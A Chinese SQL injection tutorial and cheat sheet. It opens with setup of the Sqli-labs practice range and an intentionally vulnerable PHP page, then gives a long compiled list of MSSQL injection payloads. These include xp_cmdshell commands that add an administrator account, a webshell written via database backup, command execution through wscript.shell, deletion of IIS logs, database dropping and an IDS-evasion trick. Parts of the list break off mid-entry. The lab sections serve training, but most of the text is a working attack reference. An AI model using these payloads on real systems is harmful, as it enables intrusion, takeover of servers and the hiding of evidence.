SQL 注入:Sqli-labs (1-65通关)、sqlmap、注入常用函数

1、SQL 注入

什么是 SQL 注入

提起 sql 注入,相信大家并不陌生,就是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器和服务器进行直接的交互,并执行恶意的 SQL 命令。有可能存在 SQL 注入的数据库类型可以是 Mysql、Mssql、Oracle、Postgress 等等。

SQL注入 ( SQL Injection ) 就是将(恶意的)SQL 添加到正常的sql命令后面,然后发送到后台数据库引擎并执行,而不是按照设计者意图去执行SQL语句以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。SQL注入过程如图:

常见的注入点有:Web表单提交输入域名、页面URL请求查询的字符串。只要是和数据库交互的地方都有可能存在注入。也就是说当网站页面包含与数据库交互的部分(例如新闻网站的查找功能),例如:在网站输入数据信息,数据信息被程序化后传入数据库执行的过程中,网站的开发人员没有对这些传入数据库的相应数据做安全处理(比如过滤特殊字符、编码等),导致黑客可以将恶意代码(也就是包含非法SQL语句的SQL命令)通过网站前段传入数据库,并在数据库中执行这些具有黑客目的的SQL语句,从而造成数据库信息泄露、损坏等后果。

原理就是:改变原来的 sql 语句,导致 sql 执行结果发生改变。

注入时规则前面闭合;要执行的sql;后面闭合

sql 注释的三种方式

        注释1:--空格  ( 注意:两个中划线(--)后面的空格不能省略 )
        注释2:--+
        注释3:#

例如:很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。

注入原理和思路,图片打开太小时,可以右键在新标签页中打开,然后就可以放大缩小进行查看。

靶场 Sqli-labs

sqli-lab:https://github.com/search?q=+sqli-labs&type=repositories
在线靶场:http://sqli.exp-9.com/
支持 PHP7 的 版本https://github.com/skyblueee/sqli-labs-php7

SQLi-Labs 是一个专业的 SQL 注入练习平台,适用于 GET 和 POST 场景,包含了以下注入:

  • 1、基于错误的注入(Union Select):字符串、整数
  • 2、基于误差的注入(双查询注入)
  • 3、盲注入(01、基于Boolian数据类型注入, 02、基于时间注入)
  • 4、更新查询注入(update )
  • 5、插入查询注入(insert )
  • 6、Header 头部注入( 01、基于Referer注入, 02、基于UserAgent注入,03、基于cookie注入)
  • 7、二阶注入,也可叫二次注入
  • 8、绕过WAF:绕过黑名单 \ 过滤器 \ 剥离 \ 注释剥离 OR&AND 剥离空格和注释剥离 UNION和SELECT、隐瞒不匹配
  • 9、绕过addslashes()函数
  • 10、绕过 mysql_real_escape_string() 函数(在特殊条件下)
  • 11、堆叠注入(堆查询注入)
  • 12、二级通道提取

安装 Sqli-labs

window 环境安装

安装 Sqli-labs 时需要搭建 Apache+PHP+Mysql。可以使用 PhPStudy,他把创建网站所需要的工具都集成到了一块,集成工具有:Apache、MySql、Nginx、php(不同版本)、redis、WordPress、FTP工具、cmder 等。phpstudy :https://www.xp.cn/download.html

PHP7 之后的 mysql_ 都改成了 mysqli_** 了,所以 sqli-labs 用 PHP7 以上版本的话会报错!可以直接使用 支持 PHP7 的 版本https://github.com/skyblueee/sqli-labs-php7 。下载后解压到 phpstudy 的 www 目录下,修改数据库连接。

然后访问:http://127.0.0.1/sqli-labs/index.html

点击 Setup/reset Database for labs 就可以成功

如果上面数据库表创建成功,数据库表如下

修改 index.php 用来在前端页面显示后台执行的 sql 语句,需要在每一关的 index.php 都需改

linux 环境安装

这里使用 KALI linux系统 (KALI:https://www.kali.org/)。KALI 是一个渗透测试的神器。集成了很多黑客工具,当然也就集成了许多开发所需的环境。可以继续安装 Sqli-labs 靶场,也可以自己写一个简单的页面进行测试,这里是写了一个单页面测试。

启动 MySQL :

root@kali:~# systemctl start mysql      //启动 mysql 服务
root@kali:~# systemctl status mysql     //查看 mysql 状态

SQL 建表脚本(添加一些测试数据)

MySQL 官方网站提供了以下几个示例数据库:Sakila、Employees、world、world_x 以及 menagerie。这些数据库既可以用于日常学习和测试,也可以作为我们设计时数据库的一个参考。

启动 apache

root@kali:~# systemctl start apache2
root@kali:~# systemctl status apache2

apache 的默认主页是  /var/www/html/index.html。直接访问 http://localhost/index.html 

修改 index.html 为 index.php

index.php 内容如下: (数据库连接部分参考:https://www.runoob.com/php/php-pdo.html

<?php 
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);

print('Hello '); // 输出 "Hello " 并且没有换行符
echo "World\n";  // 输出 "World" 并且换行
echo "<br />";
echo "<hr />";
echo '<p align="center">DataBase connect test</p>';


$dbms='mysql';      //数据库类型
$host='127.0.0.1';  //数据库主机名
$dbName='world';    //使用的数据库
$user='root';       //数据库连接用户名
$pass='';           //对应的密码
$dsn="$dbms:host=$host;dbname=$dbName";

try {
    // 连接到数据库
    $dbh = new PDO($dsn, $user, $pass);  
    $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);  
    $dbh->exec('set names utf8'); 
    echo "连接成功<br/>";
    // sql 语句
    $strsql="SELECT id,name,countrycode FROM `City` LIMIT 5";
    //你还可以进行一次搜索操作
    foreach ($dbh->query($strsql) as $row) {
        //print_r($row); //你可以用 echo($GLOBAL); 来看到这些值
        echo "id: {$row['id']}        ";
        echo "name: {$row['name']}        ";
        echo "countrycode: {$row['countrycode']}        ";
        echo "<br />";
    }
    $dbh = null;
} catch (PDOException $e) {
    die ("Error!: " . $e->getMessage() . "<br/>");
}
?>

<br />
<hr />
<p align="center">input test</p>
<form>
	<div>
		Input Query ID:
		<input type="text" name="search" style="width:60%;" >
		<input type="submit" name="submit" value="Search" >
		<br /><br />
		SQL Query String : 
		<?php
		if(isset($_GET['submit'])) 
		{
			$val = $_GET['search'];
			$str_sql = "SELECT id,name,countrycode FROM City where id = $val";
			echo "<b>$str_sql</b>";
			echo "<br />";
			$dbms='mysql';      //数据库类型
			$host='127.0.0.1';  //数据库主机名
			$dbName='world';    //使用的数据库
			$user='root';       //数据库连接用户名
			$pass='';           //对应的密码
			$dsn="$dbms:host=$host;dbname=$dbName";

			try {
    				// 连接到数据库
    				$dbh = new PDO($dsn, $user, $pass);  
    				$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);  
    				$dbh->exec('set names utf8');     	
    				echo "<br /><br />";
    				// 遍历
    				foreach ($dbh->query($str_sql) as $row) 
    				{
        				//print_r($row);           //你可以用 echo($GLOBAL); 来看到这些值
    					echo '<table border="1">';
    					echo "<tr>";
    					echo "<td>";
        				echo "id: {$row['id']}        ";
        				echo "</td>";
        				echo "<td>";
        				echo "name: {$row['name']}        ";
        				echo "</td>";
        				echo "<td>";
        				echo "countrycode: {$row['countrycode']}        ";
        				echo "</td>";
        				echo "</tr>";
        				echo "</table>";
    				}
    				$dbh = null;
			} 
			catch (PDOException $e) 
			{
    				die ("Error!: " . $e->getMessage() . "<br/>");
			}
		}
		else
		{
			echo "please input the number ID !!!";
		}				
		?>
	</div>
</form>

浏览器直接访问:http://localhost/index.php

mysql 数据库中结果

到此,一个简单的单页 php web 创建完成。

一个 简单的 SQL 注入验证

输入要查询的 ID (数字),点击 search 按钮,注意 浏览器 url 变化,传递一个参数 search=1 。然后下面显示查询结果。

现在修改 URL 传递的参数。

修改后的 URL 为 :http://localhost/index.php?search=1 or '1'='1'&submit=Search

再来一个复杂点的 SQL 注入验证:

URL:http://localhost/index.php?search=1 union select code,name,region from Country LIMIT 5;&submit=Search

一个读取文件的 SQL 注入

一个简单的 SQL 注入完成。

其 他 靶 场

xss-labs:https://github.com/do0dl3/xss-labs
XSS Challenges:http://xss-quiz.int21h.jp/
AWVS:https://pan.baidu.com/s/1C15VCFxp1KfTpCxWn4tRWw 提取码:1i73
DC靶机1-9:链接: https://pan.baidu.com/s/1Nws05Q-ZRLqaFgDQIYaEjg  密码: s3sr

webug  、看雪、freebuf、华盟,还有国内几个安全厂商(360、绿盟、知道创宇等)也有类似的技术分享平台。

  • 3、OWASP WebGoat,Web漏洞实验平台。
  • 4、OWASP Broken Web Applications Project,Web漏洞实验平台。
  • 5、OWASP buggy web Application,Web漏洞实验平台。
  • 6、OWASP iGoat,iOS渗透测试平台。
  • 7、Damn Vulnerable iOS Application,iOS渗透测试平台。
  • 8、ExploitMe Mobile Android Labs,Android渗透测试平台。
  • 10、hackthissite,分不同难度级别的挑战。
  • 11、实验楼,与渗透测试关系不大,但是是国内做得比较好的在线技能实验学习平台,涵盖的技术面也较广,值得推荐。
  • 12、TECHGIG,在线技能实验学习平台,涵盖的技术面较广。


 

2、手工 注入

详细 sqli-labs 通关讲解:https://blog.csdn.net/dreamthe/article/details/123795302
SQL 注入非常详细总结:https://blog.csdn.net/dreamthe/article/details/124969922
SQL 注入 Wiki:https://sqlwiki.netspi.com/
Less靶场SQL注入通关宝典:https://www.cnblogs.com/zxywlaq/p/18199225

SQL注入攻击与防御 第二版:http://download.csdn.net/detail/hx0_0_8/9284595

虽说目前互联网上已经有很多关于 sql 注入的神器了,但是在这个 WAF 横行的时代,手工注入往往在一些真实环境中会显得尤为重要。

预备知识

对 mysql 数据库有一定了解;

对基本的 sql 语句有所了解;
对 url 编码 有了解:

  • 空格 = "%20"
  • 单引号 = "%27"
  • 双引号 = "%22"
  • 井号 = "%23"

基本步骤

  • 1. 判断是什么类型注入,有没有过滤关键字,是否能绕过
  • 2. 确定存在注入的表的列数,以及表中数据那些字段可以显示出来
  • 3. 获取数据库版本,用户,当前连接的数据库等信息
  • 4. 获取数据库中所有表的信息
  • 5. 获取某个表的列字段信息
  • 5. 获取相应表的数据

构造后的 sql 语句格式:前面闭合; 要执行的sql; 后面闭合

sql 注释的三种方式

  • --空格  ( 注意:-- ' 最后一个单引号前面有空格 )
  • --+
  • #

确定表的列数(总共的字段数)

采用 union 探测内容,而union的规则是必须要求列数相同才能正常展示,因此必须要探测列数,保证构造的注入查询结果与元查询结果列数与数据类型相同;
‘order by 1’代表按第一列升序排序,若数字代表的列不存在,则会报错,由此可以探测出有多少列。

示例:

当试到'4'时,出现报错信息,可以知道该表有3列:Unknown column '4' in 'order clause'
执行的sql语句是:SELECT * FROM users WHERE id='2' order by 4 -- '' LIMIT 0,1

确定字段的显示位

显示位:表中数据第几位的字段可以显示,因为并不是所有的查询结果都会展示在页面中,因此需要探测页面中展示的查询结果是哪一列的结果;

'union select 1,2,3 -- ' 通过显示的数字可以判断那些字段可以显示出来。

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 -- '
可见2,3所在的字段可以显示
ps:id=-1,使用-1是为了使前一个sql语句所选的内容为空,从而便于后面的select语句显示信息

获取当前数据库信息

现在只有两个字段可以显示信息,显然在后面的查询数据中,两个字段是不够用,可以使用

  • group_concat() 函数:可以把查询出来的多行数据连接起来在一个字段中显示
  • database() 函数:查看当前数据库名称
  • version() 函数:查看数据库版本信息
  • user() 函数:返回当前数据库连接使用的用户
  • char() 函数:将十进制ASCII码转化成字符,以便于分隔每个字段的内容

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(database(),version()),3 -- '
  Your Login name:security5.5.53
  Your Password:3
可以知道当前数据库名为security,数据库版本为5.5.53

获取全部数据库信息

Mysql 有一个系统的数据库 information_schema,里面保存着所有数据库的相关信息,使用该表完成注入

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),schema_name,char(32)),3 from information_schema.schemata -- '

获取到了所有的数据库信息 information_schema ,security

获取 security 数据库中的表信息

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),table_name,char(32)),3 from information_schema.tables where table_schema='security' -- '
  Your Login name: emails , referers , uagents , users 
    Your Password:3
ps:table_schema= '数据库的名'

获取 users 表的列

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),column_name,char(32)),3 from information_schema.columns where table_name='users' -- '
 Your Login name: user_id , first_name , last_name , user , password , avatar , last_login , failed_login , id , username , password
 Your Password:3
执行的sql语句是:SELECT * FROM users WHERE id='-1' union select 1,group_concat(char(32),column_name,char(32)),3 from information_schema.columns where table_name='users' -- '' LIMIT 0,1

获取数据

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32),password),3 from users -- '
 Your Login name: Dumb Dumb, Angelina I-kill-you, Dummy p@ssword, secure crappy, stupid stupidity, superman genious, batman mob!le, admin admin, admin1 admin1, admin2 admin2, admin3 admin3, dhakkan dumbo, admin4 admin4
 Your Password:3
执行的sql语句是:SELECT * FROM users WHERE id='-1' union select 1,group_concat(char(32),username,char(32),password),3 from users -- '' LIMIT 0,1

MySQL 手动注入

SQL语句:case when … then … else … end
CASE WHEN 语法有两种情况:
第一种是CASE 后面不带表达式的;
        CASE WHEN expression THEN 操作1
        WHEN expression THEN 操作2
        .......
        ELSE 操作n
        END
第二种是CASE 后面带表达式的(而此时WHEN 后面的则是该表达式可能的值),通用。
        CASE expression
        WHEN expression值1 THEN 操作1
        WHEN expression值2 THEN 操作2
        .......
        ELSE 操作n
        END

常用注入操作

收集了一些利用 Sqlmap 做注入测试的 TIPS,其中也包含一点绕WAF的技巧。

1.判断是否有注入
        ;and 1=1
        ;and 1=2

        注入的时候,判断是否有注入
        http://site/script?id=10
        http://site/script?id=11-1          # 相当于 id=10
        http://site/script?id=(select 10)   # 相当于 id=10
        http://site/script?id=10 and 1=1    # 失败

        通过判断可发现 and 和 or 被过滤
        http://site/script?id=10–      # 失败
        http://site/script?id=10;–      # 失败
        http://site/script?id=10);–     # 失败
        http://site/script?id=10)subquery;– # 失败
    
        http://host/script?id=11-(case when 1=1 then 1 else 0 end)  #用1=1跟1=2测试
        http://host/script?id=10 # 当条件为真的时候
        http://host/script?id=11 # 当条件为假的时候
        可以很明显的看到返回不同,然后可以判断注入。那么怎么能让sqlmap去识别呢?
        Sqlmap 默认是自己寻找注入点的,但是你加上一个*可以引导他。
        语句:sqlmap.py -u "http://host/script?id=11-(case when 1=1星号 then 1)"

        
2.初步判断是否是mssql
        ;and user>0

3.判断数据库系统
        ;and (select count(*) from sysobjects)>0 mssql
        ;and (select count(*) from msysobjects)>0 access

4.注入参数是字符
        'and [查询条件] and ''='

5.搜索时没过滤参数的
        'and [查询条件] and '%25'='

6.猜数据库
        ;and (select Count(*) from [数据库名])>0

7.猜字段
        ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度
        ;and (select top 1 len(字段名) from 数据库名)>0

9.  (1)猜字段的ascii值(access)
        ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
    (2)猜字段的ascii值(mssql)
        ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
        ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
        ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
        ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
        ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
        ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
        ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
        ;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户
        ;exec master.dbo.sp_addlogin username;--
        ;exec master.dbo.sp_password null,username,password;--
        ;exec master.dbo.sp_addsrvrolemember sysadmin username;--
        ;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
        ;exec master.dbo.xp_cmdshell 'net user username password /add';--
        ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍历目录
        ;create table dirs(paths varchar(100), id int)
        ;insert dirs exec master.dbo.xp_dirtree 'c:\'
        ;and (select top 1 paths from dirs)>0
        ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
    (2)遍历目录
        ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
        ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
        ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
        ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
        ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

13.mssql中的存储过程
        xp_regenumvalues 注册表根键, 子键
        ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
        xp_regread 根键,子键,键值名
        ;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
        xp_regwrite 根键,子键, 值名, 值类型, 值
        值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
        ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
        xp_regdeletevalue 根键,子键,值名
        exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
        xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
        use model
        create table cmd(str image);
        insert into cmd(str) values ('');
        backup database model to disk='c:\l.asp';

15.mssql内置函数
        ;and (select @@version)>0 获得Windows的版本号
        ;and user_name()='dbo' 判断当前系统的连接用户是不是sa
        ;and (select user_name())>0 爆当前系统的连接用户
        ;and (select db_name())>0 得到当前连接的数据库


16.简洁的 webshell
        use model
        create table cmd(str image);
        insert into cmd(str) values ('');
        backup database model to disk='g:\wwwtest\l.asp';

        请求的时候,像这样子用:
        http://ip/l.asp?c=dir

SQL手工注入大全

前提需要工具:SQL Query Analyzer和SqlExec Sunx Version

1.去掉xp_cmdshell扩展过程的方法是使用如下语句:
if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

2.添加xp_cmdshell扩展过程的方法是使用如下语句:
(1)SQL Query Analyzer
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
去除
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
?

SQL手工注入方法总结(SQL Server2005)2010-01-28 16:17---------以下以省略注入点用URL代替

--(1) ******查看驱动器方法******

-- 建表p(i为自动编号,a记录盘符类似"c:\",b记录可用字节,其它省略)
URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar(255),d nvarchar(255));--

URL;insert p exec xp_availablemedia;--列出所有驱动器并插入表p

URL;and (select count(*) from p)>3;--折半法查出驱动器总数

URL;and ascii(substring((select a from p where i=1),1,1))=67;--折半法查出驱动器名(注asc(c)=67)

--上面一般用于无显错情况下使用-------以此类推,得到所有驱动器名

URL;and (select a from p where i=1)>3;--报错得到第一个驱动器名

--上面一般用于显错情况下使用-------以此类推,得到所有驱动器名

URL;;drop table p;--删除表p

--(2) ******查看目录方法******

URL;create table pa(m nvarchar(255),i nvarchar(255));--建表pa(m记录目录,i记录深度)

URL;insert pa exec xp_dirtree ’e:’;--列出驱动器e并插入表pa

URL;and (select count(*) from pa where i>0)>-1;--折半法查出i深度

URL;and (select top 1 m from pa where i=1 and m not in(select top 0 m from pa))>0;--报错得到深度i=1的第一个目录名

--上面一般用显错且目录名不为数字情况下使用-------(得到第二个目录把"top 0"换为"top 1",换深度只换i就行)以此类推,得到e盘的所有目录

URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;--折半法查出深度i=1的第一个目录名的长度

URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;--折半法查出深度i=1的第一个目录名的第一个字符长度

--上面一般用无显错情况下使用-------(得到第二个目录把"top 0"换为"top 1",换深度只换i就行)以此类推,得到e盘的所有目录

URL;drop

手工MSSQL注入常用SQL语句
and exists (select * from sysobjects) //判断是否是MSSQL
and exists(select * from tableName) //判断某表是否存在..tableName为表名
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) //判断是否是系统管理员
and 1=(Select IS_MEMBER(‘db_owner’)) //判断是否是库权限
and 1= (Select HAS_DBACCESS(‘master’)) //判断是否有库读取权限
and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴库名DBID为1,2,3….
;declare @d int //是否支持多行
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ‘X’ AND name = ‘xp_cmdshell’) //判断XP_CMDSHELL是否存在
and 1=(select count(*) FROM master.dbo.sysobjects where name= ‘xp_regread’) //查看XP_regread扩展存储过程是不是已经被删除
添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某个服务。 (需要SA权限)
exec master..xp_servicecontrol ‘stop’,’schedule’
exec master..xp_servicecontrol ‘start’,’schedule’
暴网站目录
create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)
—————————————————————————————————————————————————————分割
SQL Server
判断是否可注射:
http://www.exehack.net/article.asp?id=6
http://www.exehack.net/article.asp?id=6′
http://www.exehack.net/article.asp?id=6 and 1=1
http://www.exehack.net/article.asp?id=6 and 1=2
http://www.exehack.net/article.asp?action=value’ and 1=1
http://www.exehack.net/article.asp?action=value’ and 1=2
searchpoints%’ and 1=1
searchpoints%’ and 1=2
确定数据库类型:
http://www.exehack.net/article.asp?id=6 and user>0
http://www.exehack.net/article.asp?id=6 and (select count(*) from sysobjects)>0
查询当前用户数据信息:
article.asp?id=6 having 1=1–
暴当前表中的列:
article.asp?id=6 group by admin.username having 1=1–
article.asp?id=6 group by admin.username,admin.password having 1=1–
暴任意表和列:
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id(‘admin’),N) from sysobjects)>1
暴数据库数据:
and (select top 1 password from admin where id=N)>1
修改数据库中的数据:
;update admin set password=’oooooo’ where username=’xxx’
增添数据库中的数据:
;insert into admin values (xxx,oooooo)–
删数据库:
;drop database webdata
获取当前数据库用户名:and user>0
获取当前数据库名:and db_name()>0
获取数据库版本:and (select @@version)>0
判断是否支持多句查询:;declare @a int–
判断是否支持子查询:and (select count(1) from [sysobjects])>=0
数据库的扩展存储过程:exec master..xp_cmdshell
查看服务器C盘目录:;exec_master..xp_cmdshell ‘dir c:\’
判断扩展存储过程是否存在:and select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
恢复扩展存储过程:;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’
删除扩展存储过程:;exec sp_dropextendedproc ‘xp_cmdshell’
在MSSQL2000中提供了一些函数用于访问OLE对象间接获取权限:
;declare @s int
;exec sp_oacreat ‘wscript.shell’,@s
;exec master..spoamethod @s,’run’,null,’cmd.exe/c dir c:\’
判断当前数据库用户名是否拥有比较高的权限:
and 1=(select is_srvrolemember(‘sysadmin’))
and 1=(select is_srvrolemember(‘serveradmin’))
and 1=(select is_srvrolemember(‘setupadmin’))
and 1=(select is_srvrolemember(‘securityadmin’))
and 1=(select is_srvrolemember(‘diskadmin’))
and 1=(select is_srvrolemember(‘bulkadmin’))
判断当前数据库用户名是否为DB_OWNER:
and 1=(select is_member(‘db_owner’))
在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有数据库信息,只需要PUBLIC权限就可以对此表进行SELECT操作:
and (select top 1 name from master.dbo.sysdatabase order by dbid)>0
and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0
删除日志记录:
;exec master.dbo.xp_cmdshell ‘del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’
替换日志记录:
;exec master.dbo.xp_cmdshell ‘copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’
获取WEB路径:
;declare @shell int
;exec master..sp_oamethod ‘wscript.shell’,@shell out
;exec master..sp_oamethod @shell,’run’,null,’cmd.exe/c dir /s d:/index.asp >c:/log.txt
利用XP_CMDSHELL搜索:
;exec master..xp_cmdshell ‘dir /s d:/index.asp’
显示服务器网站配置信息命令:
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root
利用XP_REGREAD可用PUBLIC权限读取:
;exec master.dbo.xp_regread
hkey_local_machine,
‘system\currentcontrolset\services\w3svc\parameters\virtual roots\’
‘/’
SQLSERVER下的高级技术可以参考阅读曾云好所著的精通脚本黑客第五章。
3、DSqlHelper
检测权限SYSADMIN:
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’))
serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。
检测XP_CMDSHELL(CMD命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_cmdshell’)
检测XP_REGREAD(注册表读取功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_regread’)
检测SP_MAKEWEBTASK(备份功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_makewebtask’)
检测SP_ADDEXTENDEDPROC:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_addextendedproc’)
检测XP_SUBDIRS读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_subdirs’)
检测XP_DIRTREE读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_dirtree’)
修改内容:
; UPDATE 表名 set 字段=内容 where 1=1
XP_CMDSHELL检测:
;exec master..xp_cmdshell ‘dir c:\’
修复XP_CMDSHELL:
;exec master.dbo.sp_addextendedproc ‘xp_cmdshell’, ‘xplog70.dll’
用XP_CMDSHELL添加用户hacker:
;exec master.dbo.xp_cmdshell ‘net user hacker 123456 /add’
XP_CMDSHELL把用户hacker加到ADMIN组:
;exec master.dbo.xp_cmdshell ‘net localgroup administrators hacker /add’
创建表test:
;create table [dbo].[test] ([dstr][char](255));
检测表段test:
and exists (select * from test)
读取WEB的位置(读注册表):
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’,@result output insert into test (dstr) values(@result);–
爆出WEB的绝对路径(显错模式):
and 1=(select count(*) from test where dstr > 1)
删除表test:
;drop table test;–
创建查看目录的表dirs:
;create table dirs(paths varchar(100), id int)
把查看目录的内容加入表dirs:
;insert dirs exec master.dbo.xp_dirtree ‘c:\’
爆目录的内容dirs:
and 0<>(select top 1 paths from dirs)
备份数据库DATANAME:
declare @a sysname; set @a=db_name();backup DATANAME @a to disk=’c:\inetpub\wwwroot\down.bak’;–
删除表dirs:
;drop table dirs;–
创建表temp:
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
把驱动盘列表加入temp表:
;insert temp exec master.dbo.xp_availablemedia;–
删除表temp:
;delete from temp;–
创建表dirs:
;create table dirs(paths varchar(100), id int);–
获得子目录列表XP_SUBDIRS:
;insert dirs exec master.dbo.xp_subdirs ‘c:\’;–
爆出内容(显错模式):
and 0<>(select top 1 paths from dirs)
删除表dirs:
;delete from dirs;–
创建表dirs:
;create table dirs(paths varchar(100), id int)–
用XP_CMDSHELL查看目录内容:
;insert dirs exec master..xp_cmdshell ‘dir c:\’
删除表dirs:
;delete from dirs;–
检测SP_OAcreate(执行命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘SP_OAcreate’)
SP_OAcreate执行CMD命令:
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net user hacker 123456 /add’
SP_OAcreate建目录:
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111’
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认 Web 站点” -v “e”,”e:\”‘
设置虚拟目录E为可读:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’
启动SERVER服务:
;exec master..xp_servicecontrol ‘start’, ‘server’
绕过IDS检测XP_CMDSHELL:
;declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ‘dir c:\’
开启远程数据库1:
; select * from OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=apachy_123’, ‘select * from table1’ )
开启远程数据库2:
